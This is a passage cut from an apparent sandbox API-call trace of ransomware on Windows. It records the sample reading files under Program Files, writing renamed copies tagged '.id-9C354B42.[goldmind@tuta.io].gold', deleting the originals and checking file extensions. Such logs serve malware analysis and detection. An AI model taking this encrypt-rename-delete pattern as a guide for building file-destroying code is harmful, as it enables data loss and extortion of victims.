lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x65ca0, lpOverlapped=0x0) returned 1 [0043.803] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0043.803] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.804] SetEndOfFile (hFile=0x214) returned 1 [0043.804] CloseHandle (hObject=0x214) returned 1 [0043.804] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.804] SetEndOfFile (hFile=0x210) returned 1 [0043.808] CloseHandle (hObject=0x210) returned 1 [0043.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.808] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0043.809] lstrlenW (lpString=".doc") returned 4 [0043.809] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.809] lstrlenW (lpString=".docx") returned 5 [0043.809] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0043.809] lstrlenW (lpString=".pdf") returned 4 [0043.809] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.809] lstrlenW (lpString=".xls") returned 4 [0043.809] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.809] lstrlenW (lpString=".xlsx") returned 5 [0043.809] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0043.809] lstrlenW (lpString=".ppt") returned 4 [0043.809] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0043.809] lstrlenW (lpString=".zip") returned 4 [0043.809] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.809] lstrlenW (lpString=".rar") returned 4 [0043.809] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.809] lstrlenW (lpString=".bz2") returned 4 [0043.809] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.809] lstrlenW (lpString=".7z") returned 3 [0043.809] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0043.809] lstrlenW (lpString=".dbf") returned 4 [0043.809] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0043.809] lstrlenW (lpString=".1cd") returned 4 [0043.809] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0043.809] lstrlenW (lpString=".jpg") returned 4 [0043.809] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0043.809] lstrlenW (lpString=".doc") returned 4 [0043.809] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.809] lstrlenW (lpString=".docx") returned 5 [0043.809] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0043.809] lstrlenW (lpString=".pdf") returned 4 [0043.809] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.809] lstrlenW (lpString=".xls") returned 4 [0043.809] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.809] lstrlenW (lpString=".xlsx") returned 5 [0043.809] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0043.809] lstrlenW (lpString=".ppt") returned 4 [0043.809] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0043.809] lstrlenW (lpString=".zip") returned 4 [0043.809] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.809] lstrlenW (lpString=".rar") returned 4 [0043.810] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.810] lstrlenW (lpString=".bz2") returned 4 [0043.810] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.810] lstrlenW (lpString=".7z") returned 3 [0043.810] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0043.810] lstrlenW (lpString=".dbf") returned 4 [0043.810] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0043.810] lstrlenW (lpString=".1cd") returned 4 [0043.810] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0043.810] lstrlenW (lpString=".jpg") returned 4 [0043.810] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.810] lstrcmpiW (lpString1=".MSG", lpString2=".gold") returned 1 [0043.810] lstrlenW (lpString="FPEXT.MSG") returned 9 [0043.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.811] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=169637) returned 1 [0043.811] CloseHandle (hObject=0x210) returned 1 [0043.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0043.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.811] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.811] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0043.812] GetLastError () returned 0x0 [0043.812] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x296a5, lpOverlapped=0x0) returned 1 [0043.816] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x296b0, lpOverlapped=0x0) returned 1 [0043.818] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0043.818] WriteFile (in: hFile=0x214, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.819] SetEndOfFile (hFile=0x214) returned 1 [0043.819] CloseHandle (hObject=0x214) returned 1 [0043.819] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0043.819] SetEndOfFile (hFile=0x210) returned 1 [0043.820] CloseHandle (hObject=0x210) returned 1 [0043.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.820] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1 [0043.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0043.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0043.821] lstrlenW (lpString=".doc") returned 4 [0043.821] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0043.821] lstrlenW (lpString=".docx") returned 5 [0043.821] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0043.821] lstrlenW (lpString=".pdf") returned 4 [0043.821] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0043.821] lstrlenW (lpString=".xls") returned 4 [0043.821] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0043.821] lstrlenW (lpString=".xlsx") returned 5 [0043.821] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0043.821] lstrlenW (lpString=".ppt") returned 4 [0043.821] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0043.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0043.821] lstrlenW (lpString=".zip") returned 4 [0043.821] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0043.821] lstrlenW (lpString=".rar") returned 4 [0043.821] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0043.821] lstrlenW (lpString=".bz2") returned 4 [0043.821] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0043.821] lstrlenW (lpString=".7z") returned 3 [0043.821] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0043.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0043.821] lstrlenW (lpString=".dbf") returned 4 [0043.821] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0043.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0043.821] lstrlenW (lpString=".1cd") returned 4 [0043.821] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0043.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0043.821] lstrlenW (lpString=".jpg") returned 4 [0043.821] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0043.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0043.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0043.821] lstrlenW (lpString=".doc") returned 4 [0043.821] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0043.821] lstrlenW (lpString=".docx") returned 5 [0043.821] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0043.821] lstrlenW (lpString=".pdf") returned 4 [0043.821] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0043.821] lstrlenW (lpString=".xls") returned 4 [0043.821] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0043.821] lstrlenW (lpString=".xlsx") returned 5 [0043.821] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0043.821] lstrlenW (lpString=".ppt") returned 4 [0043.821] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0043.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0043.822] lstrlenW (lpString=".zip") returned 4 [0043.822] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0043.822] lstrlenW (lpString=".rar") returned 4 [0043.822] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0043.822] lstrlenW (lpString=".bz2") returned 4 [0043.822] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0043.822] lstrlenW (lpString=".7z") returned 3 [0043.822] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0043.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0043.822] lstrlenW (lpString=".dbf") returned 4 [0043.822] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0043.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0043.822] lstrlenW (lpString=".1cd") returned 4 [0043.822] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0043.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0043.822] lstrlenW (lpString=".jpg") returned 4 [0043.822] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0043.822] lstrcmpiW (lpString1=".bmp", lpString2=".gold") returned -1 [0043.822] lstrlenW (lpString="verisign.bmp") returned 12 [0043.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.823] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=2702) returned 1 [0043.823] CloseHandle (hObject=0x210) returned 1 [0043.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0043.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0043.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0043.823] lstrlenW (lpString=".doc") returned 4 [0043.823] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0043.823] lstrlenW (lpString=".docx") returned 5 [0043.823] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0043.823] lstrlenW (lpString=".pdf") returned 4 [0043.823] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0043.823] lstrlenW (lpString=".xls") returned 4 [0043.823] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0043.823] lstrlenW (lpString=".xlsx") returned 5 [0043.823] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0043.823] lstrlenW (lpString=".ppt") returned 4 [0043.823] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0043.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0043.823] lstrlenW (lpString=".zip") returned 4 [0043.823] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0043.823] lstrlenW (lpString=".rar") returned 4 [0043.823] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0043.823] lstrlenW (lpString=".bz2") returned 4 [0043.824] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0043.824] lstrlenW (lpString=".7z") returned 3 [0043.824] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0043.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0043.824] lstrlenW (lpString=".dbf") returned 4 [0043.824] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0043.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0043.824] lstrlenW (lpString=".1cd") returned 4 [0043.824] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0043.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0043.824] lstrlenW (lpString=".jpg") returned 4 [0043.824] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0043.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0043.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0043.824] lstrlenW (lpString=".doc") returned 4 [0043.824] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0043.824] lstrlenW (lpString=".docx") returned 5 [0043.824] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0043.824] lstrlenW (lpString=".pdf") returned 4 [0043.824] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0043.824] lstrlenW (lpString=".xls") returned 4 [0043.824] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0043.824] lstrlenW (lpString=".xlsx") returned 5 [0043.824] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0043.824] lstrlenW (lpString=".ppt") returned 4 [0043.824] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0043.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0043.824] lstrlenW (lpString=".zip") returned 4 [0043.824] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0043.824] lstrlenW (lpString=".rar") returned 4 [0043.824] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0043.824] lstrlenW (lpString=".bz2") returned 4 [0043.824] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0043.824] lstrlenW (lpString=".7z") returned 3 [0043.824] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0043.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0043.824] lstrlenW (lpString=".dbf") returned 4 [0043.824] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0043.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0043.824] lstrlenW (lpString=".1cd") returned 4 [0043.824] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0043.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0043.824] lstrlenW (lpString=".jpg") returned 4 [0043.824] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0043.824] lstrcmpiW (lpString1=".inc", lpString2=".gold") returned 1 [0043.824] lstrlenW (lpString="adojavas.inc") returned 12 [0043.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.826] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=14610) returned 1 [0043.826] CloseHandle (hObject=0x210) returned 1 [0043.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0043.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0043.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0043.826] lstrlenW (lpString=".doc") returned 4 [0043.826] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0043.826] lstrlenW (lpString=".docx") returned 5 [0043.826] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0043.826] lstrlenW (lpString=".pdf") returned 4 [0043.826] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0043.826] lstrlenW (lpString=".xls") returned 4 [0043.826] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0043.826] lstrlenW (lpString=".xlsx") returned 5 [0043.826] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0043.826] lstrlenW (lpString=".ppt") returned 4 [0043.826] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0043.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0043.826] lstrlenW (lpString=".zip") returned 4 [0043.826] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0043.826] lstrlenW (lpString=".rar") returned 4 [0043.826] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0043.826] lstrlenW (lpString=".bz2") returned 4 [0043.826] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0043.826] lstrlenW (lpString=".7z") returned 3 [0043.826] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0043.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0043.826] lstrlenW (lpString=".dbf") returned 4 [0043.826] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0043.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0043.826] lstrlenW (lpString=".1cd") returned 4 [0043.826] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0043.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0043.826] lstrlenW (lpString=".jpg") returned 4 [0043.826] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0043.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0043.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0043.827] lstrlenW (lpString=".doc") returned 4 [0043.827] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0043.827] lstrlenW (lpString=".docx") returned 5 [0043.827] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0043.827] lstrlenW (lpString=".pdf") returned 4 [0043.827] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0043.827] lstrlenW (lpString=".xls") returned 4 [0043.827] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0043.827] lstrlenW (lpString=".xlsx") returned 5 [0043.827] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0043.827] lstrlenW (lpString=".ppt") returned 4 [0043.827] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0043.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0043.827] lstrlenW (lpString=".zip") returned 4 [0043.827] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0043.827] lstrlenW (lpString=".rar") returned 4 [0043.827] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0043.827] lstrlenW (lpString=".bz2") returned 4 [0043.827] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0043.827] lstrlenW (lpString=".7z") returned 3 [0043.827] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0043.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0043.827] lstrlenW (lpString=".dbf") returned 4 [0043.827] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0043.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0043.827] lstrlenW (lpString=".1cd") returned 4 [0043.827] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0043.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0043.827] lstrlenW (lpString=".jpg") returned 4 [0043.827] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0043.827] lstrcmpiW (lpString1=".inc", lpString2=".gold") returned 1 [0043.827] lstrlenW (lpString="adovbs.inc") returned 10 [0043.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0043.828] GetFileSizeEx 